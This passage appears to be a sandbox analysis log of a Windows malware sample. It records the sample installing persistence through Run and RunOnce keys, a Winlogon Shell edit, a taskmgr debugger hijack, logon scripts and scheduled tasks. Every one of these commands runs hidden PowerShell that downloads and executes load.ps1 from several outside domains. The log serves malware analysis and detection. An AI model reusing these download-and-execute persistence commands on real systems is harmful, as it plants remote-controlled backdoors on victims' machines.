    schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luck8be.com/load.ps1')\"" /sc minute /mo 5 /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2660
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luckywin6668.net/load.ps1')\"" /f
  2⤵
  PID:6708
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luckywin6668.net/load.ps1')\"" /f
    3⤵
    - Adds Run key to start application
    PID:6744
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luckywin6668.net/load.ps1')\"" /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:6228
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luckywin6668.net/load.ps1')\"" /f
    3⤵
    - Adds Run key to start application
    PID:5316
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luckywin6668.net/load.ps1')\"" /f
  2⤵
  PID:2716
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luckywin6668.net/load.ps1')\"" /f
    3⤵
    - Event Triggered Execution: Image File Execution Options Injection
    PID:5704
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luckywin6668.net/load.ps1')\"" /f
  2⤵
  PID:3132
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luckywin6668.net/load.ps1')\"" /f
    3⤵
    - Modifies WinLogon for persistence
    PID:1472
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luckywin6668.net/load.ps1')\"" /f
  2⤵
  PID:840
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luckywin6668.net/load.ps1')\"" /f
    3⤵
    - Registers new Windows logon scripts automatically executed at logon.
    PID:6700
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luckywin6668.net/load.ps1')\"" /sc onlogon /f
  2⤵
  PID:5344
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luckywin6668.net/load.ps1')\"" /sc onlogon /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:6884
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luckywin6668.net/load.ps1')\"" /sc minute /mo 5 /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:7364
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luckywin6668.net/load.ps1')\"" /sc minute /mo 5 /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:6828
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://au881.com/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  PID:3508
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://au881.com/load.ps1')\"" /f
    3⤵
    PID:5032
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://au881.com/load.ps1')\"" /f
  2⤵
  PID:7912
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://au881.com/load.ps1')\"" /f
    3⤵
    PID:6800
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://au881.com/load.ps1')\"" /f
  2⤵
  PID:6568
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://au881.com/load.ps1')\"" /f
    3⤵
    PID:6944
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://au881.com/load.ps1')\"" /f
  2⤵
  PID:2504
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://au881.com/load.ps1')\"" /f
    3⤵
    PID:8144
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://au881.com/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  PID:4644
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://au881.com/load.ps1')\"" /f
    3⤵
    PID:6744
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://au881.com/load.ps1')\"" /sc onlogon /f
  2⤵
  PID:2372
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://au881.com/load.ps1')\"" /sc onlogon /f
    3⤵
    PID:3704
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://au881.com/load.ps1')\"" /sc minute /mo 5 /f
  2⤵
  PID:4520
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://au881.com/load.ps1')\"" /sc minute /mo 5 /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4428
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbet1.cc/load.ps1')\"" /f
  2⤵
  PID:4692
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbet1.cc/load.ps1')\"" /f
    3⤵
    PID:2828
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbet1.cc/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  PID:3764
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbet1.cc/load.ps1')\"" /f
    3⤵
    PID:6216
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbet1.cc/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  PID:2572
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbet1.cc/load.ps1')\"" /f
    3⤵
    PID:7712
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbet1.cc/load.ps1')\"" /f
  2⤵
  PID:2776
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbet1.cc/load.ps1')\"" /f
    3⤵
    PID:1308
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbet1.cc/load.ps1')\"" /f
  2⤵
  PID:6828
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbet1.cc/load.ps1')\"" /f
    3⤵
    PID:5868
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbet1.cc/load.ps1')\"" /sc onlogon /f
  2⤵
  PID:2500
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbet1.cc/load.ps1')\"" /sc onlogon /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:7648
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbet1.cc/load.ps1')\"" /sc minute /mo 5 /f
  2⤵
  PID:6896
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbet1.cc/load.ps1')\"" /sc minute /mo 5 /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5132
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://kent-casino-ury.buzz/load.ps1')\"" /f
  2⤵
  PID:5728
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://kent-casino-ury.buzz/load.ps1')\"" /f
    3⤵
    PID:6548
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://kent-casino-ury.buzz/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  PID:1368
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://kent-casino-ury.buzz/load.ps1')\"" /f
    3⤵
    PID:6968
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://kent-casino-ury.buzz/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  PID:5692
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://kent-casino-ury.buzz/load.ps1')\"" /f
    3⤵
    PID:2640
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://kent-casino-ury.buzz/load.ps1')\"" /f
  2⤵
  PID:1400
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://kent-casino-ury.buzz/load.ps1')\"" /f
    3⤵
    PID:4064
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://kent-casino-ury.buzz/load.ps1')\"" /f
  2⤵
  PID:6740
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://kent-casino-ury.buzz/load.ps1')\"" /f
    3⤵
    PID:4592
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://kent-casino-ury.buzz/load.ps1')\"" /sc onlogon /f
  2⤵
  PID:6424
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://kent-casino-ury.buzz/load.ps1')\"" /sc onlogon /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3580
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://kent-casino-ury.buzz/load.ps1')\"" /sc minute /mo 5 /f
  2⤵
  PID:3604
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://kent-casino-ury.buzz/load.ps1')\"" /sc minute /mo 5 /f
    3⤵
    PID:7084
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://kent-casino-ury.buzz/load.ps1')\"" /f
  2⤵
  PID:2620
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://kent-casino-ury.buzz/load.ps1')\"" /f
    3⤵
    PID:1080
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://kent-casino-ury.buzz/load.ps1')\"" /f
  2⤵
  PID:3704
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://kent-casino-ury.buzz/load.ps1')\"" /f
    3⤵
    PID:7052
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://kent-casino-ury.buzz/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  PID:7980
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://kent-casino-ury.buzz/load.ps1')\"" /f
    3⤵
    PID:2092
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://kent-casino-ury.buzz/load.ps1')\"" /f
  2⤵
  PID:6848
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://kent-casino-ury.buzz/load.ps1')\"" /f
    3⤵
    PID:6504
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://kent-casino-ury.buzz/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  PID:2924
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://kent-casino-ury.buzz/load.ps1')\"" /f
    3⤵
    PID:7648
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://kent-casino-ury.buzz/load.ps1')\"" /sc onlogon /f
  2⤵
  - Executes a command shell one-liner
  PID:4632
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://kent-casino-ury.buzz/load.ps1')\"" /sc onlogon /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2736
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://kent-casino-ury.buzz/load.ps1')\"" /sc minute /mo 5 /f
  2⤵
  PID:7468
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://kent-casino-ury.buzz/load.ps1')\"" /sc minute /mo 5 /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:6460

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1840

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://au881.com/load.ps1')"
1⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5844

C:\Windows\explorer.exe
explorer.exe , powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://au881.com/load.ps1')"
1⤵
PID:4028

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
1⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
PID:3208

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://au88.com/load.ps1')"
1⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
PID:4544

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://1au88.today/load.ps1')"
1⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
PID:4736

C:\Windows\explorer.exe
explorer.exe , powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://au88.com/load.ps1')"
1⤵
PID:5728

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
1⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:4704

C:\Windows\explorer.exe
explorer.exe , powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://1au88.today/load.ps1')"
1⤵
PID:5504

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
1⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:4668

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://au88au88.bar/load.ps1')"
1⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
PID:1568

C:\Windows\explorer.exe
explorer.exe , powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://au88au88.bar/load.ps1')"
1⤵
PID:4520

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
1⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:5872

